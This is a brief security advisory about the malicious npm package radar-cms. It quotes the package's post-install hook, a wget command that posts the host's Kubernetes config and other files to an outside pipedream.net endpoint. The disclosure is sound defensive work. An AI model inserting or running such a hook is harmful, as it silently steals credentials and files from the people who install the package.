Malicious code in radar-cms (npm)

The package radar-cms was found to contain malicious code...

MAL-2025-31468 Malicious code in radar-cms (npm)

The package radar-cms was found to contain malicious code...

Malicious Package

Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...